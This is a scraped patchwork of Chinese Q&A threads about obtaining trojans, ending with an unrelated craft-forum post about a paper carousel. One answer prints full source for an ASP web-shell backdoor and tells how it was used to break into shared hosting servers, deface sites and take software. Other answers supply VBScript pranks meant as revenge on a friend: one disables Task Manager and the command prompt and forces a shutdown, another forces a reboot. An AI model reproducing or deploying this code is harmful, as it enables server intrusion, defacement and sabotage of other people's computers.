谁能给我一个做好的木马程序？就是能盗取别人密码的那种，邮件我，谢谢_百度知道
谁能给我一个做好的木马程序？就是能盗取别人密码的那种，邮件我，谢谢
.....木马啊。。还没给别人。你自己就先中毒了，这个你要知道木马的原理 他是有控制端和被控端（肉鸡），，给你个木马，你敢点开吗？还有，现在大多数木马都要做免杀，我都不会，你还是慢慢学习吧。
其他类似问题
为您推荐：
您可能关注的推广
木马程序的相关知识
其他1条回答
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁谁能给我一个一般木马病毒的代码_百度知道
谁能给我一个一般木马病毒的代码
请说一下具体步骤
ASP后门木马程序的代码：＜%response.write &＜font size=6 color=red＞一次只能执行一个xx作＜/font＞& %＞＜%response.write now()%＞＜BR＞程序所在的物理路径：＜%response.write request.servervariables(&APPL_PHYSICAL_PATH&)%＞＜html＞＜title＞asps shell.application backdoor ＜/title＞＜body＞＜form action=&＜%= Request.ServerVariables(&URL&) %＞& method=&POST&＞＜input type=text name=text value=&＜%=szCMD %＞&＞输入要浏览的目录＜br＞＜input type=text name=text1 value=&＜%=szCMD1 %＞&＞copy＜input type=text name=text2 value=&＜%=szCMD2 %＞&＞＜br＞＜input type=text name=text3 value=&＜%=szCMD3 %＞&＞move＜input type=text name=text4 value=&＜%=szCMD4 %＞&＞＜br＞路径：＜input type=text name=text5 value=&＜%=szCMD5 %＞&＞程序：＜input type=text name=text6 value=&＜%=szCMD6 %＞&＞＜br＞＜input type=submit name=sb value=发送命令＞＜/form＞＜/body＞＜/html＞＜%szCMD = Request.Form(&text&) 目录浏览if (szCMD ＜＞ &&) thenset shell=server.createobject(&shell.application&) 建立shell对象set fod1=shell.namespace(szcmd)set foditems=fod1.itemsfor each co in foditemsresponse.write &＜font color=red＞& & co.path & &-----& & co.size & &＜/font＞＜br＞&nextend if%＞＜%szCMD1 = Request.Form(&text1&) 目录拷贝，不能进行文件拷贝szCMD2 = Request.Form(&text2&)if szcmd1＜＞&& and szcmd2＜＞&& thenset shell1=server.createobject(&shell.application&) 建立shell对象set fod1=shell1.namespace(szcmd2)for i=len(szcmd1) to 1 step -1if mid(szcmd1,i,1)=&& thenpath=left(szcmd1,i-1)exit forend ifnextif len(path)=2 then path=path & &&path2=right(szcmd1,len(szcmd1)-i)set fod2=shell1.namespace(path)set foditem=fod2.parsename(path2)fod1.copyhere foditemresponse.write &command completed success!&end if%＞＜%szCMD3 = Request.Form(&text3&) 目录移动szCMD4 = Request.Form(&text4&)if szcmd3＜＞&& and szcmd4＜＞&& thenset shell2=server.createobject(&shell.application&) 建立shell对象set fod1=shell2.namespace(szcmd4) for i=len(szcmd3) to 1 step -1if mid(szcmd3,i,1)=&& thenpath=left(szcmd3,i-1)exit forend ifnext if len(path)=2 then path=path & &&path2=right(szcmd3,len(szcmd3)-i)set fod2=shell2.namespace(path)set foditem=fod2.parsename(path2)fod1.movehere foditemresponse.write &command completed success!&end if%＞＜%szCMD5 = Request.Form(&text5&) 执行程序要指定路径szCMD6 = Request.Form(&text6&)if szcmd5＜＞&& and szcmd6＜＞&& thenset shell3=server.createobject(&shell.application&) 建立shell对象shell3.namespace(szcmd5).items.item(szcmd6).invokeverbresponse.write &command completed success!&end if%＞　　要查看目录，只要输入相应的目录，点发送命令就可以了。这个木马程可以完成文件的COPY、MOVE，和执行程序。但很多命令都不能用，例如：del、net、netstat等。这个木马程的功能随然简单，但是用它来黑一个网站是足够了。比如，我们可以把网站的首页MOVE到其它地方，然后我们再COPY一个同名的黑客网页进去，就行了。　　最要命的是这个木马适用于任何虚拟主机之中，也就是说我只要是服务器中的一个虚拟空间的用户，我就可以传这个木马上去，并用它来修改其它任何用户的主页。所以如果哪些提供虚拟空间的服务商没有打补丁的话，那真是死定了。　　然而在我的实践中发现，中国很多的虚拟空间服务商，特别是一些小型的服务商都没有打补丁。我利用这一漏洞拿到了很多虚拟空间服务器的ADMIN，然后好心的帮他们补上漏洞。当然我也得到了我想得到的东西——很多好的软件和代码。我现在用着的很多ASP程序就是从他们那上面偷下来，太难听了，应该说DOWN下来的才对。
其他类似问题
2人觉得有用
为您推荐：
其他1条回答
“木马”程序是目前比较流行的病毒文件，与一般的病毒不同，它不会自我繁殖，也并不“刻意”地去感染其他文件，它通过将自身伪装吸引用户下载执行，向施种木马者提供打开被种者电脑的门户，使施种者可以任意毁坏、窃取被种者的文件，甚至远程操控被种者的电脑。“木马”与计算机网络中常常要用到的远程控制软件有些相似，但由于远程控制软件是“善意”的控制，因此通常不具有隐蔽性；“木马”则完全相反，木马要达到的是“偷窃”性的远程控制，如果没有很强的隐蔽性的话，那就是“毫无价值”的。 相关的代码，你可以网上搜一下，或上一些相关的网站、论坛学习！希望你不是用于害人！！！ 网上有相应的代码，刚刚发出来了，无法通过！所以只能删掉了！
木马病毒的相关知识
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁谁有好看的window7主题包 给我一个无毒无木马的 谢谢啦~~
谁有好看的window7主题包 给我一个无毒无木马的 谢谢啦~~ 15
不区分大小写匿名
百度里有啊！&
&&&& 去&&&&&&&&&&& 主题之家
其实美化&& 很简单的&& 但主题是没用的
上面那个样子挺喜欢的 桌面不好看...
要的话& 加我&& 我把东西& 传给你
你QQ多少 我加你...
相关知识等待您来回答
操作系统领域专家
& &SOGOU - 京ICP证050897号谁给我个木马，一打开就会中_百度知道
谁给我个木马，一打开就会中
谁给我个木马，我朋友在QQ上发给我一个文件，一打开文件就弹出一个程序，说还有10秒自动关机，谁给我个自己下载不会中毒，发到QQ好友，他就会倒计时。自动关机的那种
我也不想啊，可那朋友也太缺德了，我真在写文章，他就发给我，我一打开，中了，而我文章也白写了，那时我有多气啊，知道不.我只想给他颜色看看
我自己不会啊，
只能请你们这些高手拉，
那木马叫 史上最酷的.vbe，谁有加150分，我要试过才给~~~~~
提问者采纳
你试试我这个 你只能眼睁睁的看着提示倒计时关机 ....看你有办法关它不..哈哈...破解的方法就是再打开程序一次(想不到吧..)代码如下: set s=createobject(&wscript.shell&) set bag=getobject(&winmgmts:\\.\root\cimv2&) set pipe=bag.execquery(&select * from win32_process where name='wscript.exe'&) For Each id in pipe if instr(mandLine,wscript.scriptfullname)&&0 and pipe.count&=2 then s.regwrite&HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr&,0,&REG_DWORD& s.regwrite&HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD&,0,&REG_DWORD& id.terminate() else s.regwrite&HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr&,1,&REG_DWORD& s.regwrite&HKCU\Software\Policies\Microsoft\Windows\System\DisableCMD&,1,&REG_DWORD& for i=1 to 60 s.popup&系统将在&& 60-i &&秒后关机...&,1,&系统提示&,4096+48 next Set colOS = GetObject(&winmgmts:{(Shutdown)}&).ExecQuery(&Select * FROM Win32_OperatingSystem&) For Each eOs In colOS eOs.Win32Shutdown(2) Next end if Next
提问者评价
其他类似问题
为您推荐：
其他8条回答
真服了。。。。您了。。。。我肚子疼。哈哈
自己可以做啊 简单的很 先下载个XXXXXXX再XXXXXXX就OK了
他传给你的是一个记录本的文件么
自己去编程，网上有指导。
这个我喜欢！搞定了发一个给我啊！谢谢！
恐怕怎么都不行，如果你电脑会中木马，说明没有装防毒软件，因为现在一般的木马都可以防住的。而你的朋友的电脑却不见得没有，如果有本事做出防毒软件防不住的木马，你以为会只教你一个么？另外，你的朋友也不见得是故意发给你木马，而是QQ程序中毒了才四处发木马，他可能自己都不知道。
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject(&wscript.shell&)
WSHshellA.run &cmd.exe /c shutdown -r -t 60 -c &&说爽哥无敌，不说爽哥无敌就一分钟关你机，不信，试试···&& &,0 ,true
do while(a && &爽哥无敌&)
a = inputbox (&说爽哥无敌,就不关机，快撒，说 &&爽哥无敌&& &,&说不说&,&不说&,)
msgbox chr(13) + chr(13) + chr(13) + a,0,&MsgBox&
msgbox chr(13) + chr(13) + chr(13) + &谢谢&
dim WSHshell
set WSHshell = wscript.createobject(&wscript.shell&)
WSHshell.run &cmd.exe /c shutdown -a&,0 ,true
msgbox chr(13) + chr(13) + chr(13) + &哈哈哈哈，慢慢点哈&
msgbox&爽哥无敌真的无敌吗!&,4096+64...
等待您来回答
下载知道APP
随时随地咨询
出门在外也不愁开心俱乐部
一般我们做手工都是单独的一个作品，其实把不同的组合起来，就能构成更加有趣的玩具。
平时在游乐园玩，最后欢迎的应该就是这个既童真又浪漫的项目了&&旋转木马，今天就和小宝贝们一起制作吧！
旋转木马组合，需要4张正方形纸制作4匹小马，另外需要一张长宽为前者2倍的正方形纸制作底座。
例如你制作小马的纸的尺寸为10*10厘米，那么制作底座的纸的尺寸大约为20*20厘米。
制作底座的纸不要太薄太柔软，普通的手工折纸和打印纸之类的都合适。
先上小马的教程
给它底上加了自动旋转装置哦，哈哈，这下成为真正的旋转木马了。
有意思哦．留个记号，下回来学学看～
我想问下，那个自动旋转装置怎么做呀？
宝贝们幼儿园要做个手工，还要有些科技元素的，我觉得这个不错，学习下，做好了交上去。请亲能具体说下吗？
&&&1&&&共有记录数：7
欢迎您，育儿网游客
后可以创建和加入圈圈。如果你不是育儿网注册会员，请。
复制圈子地址发给好友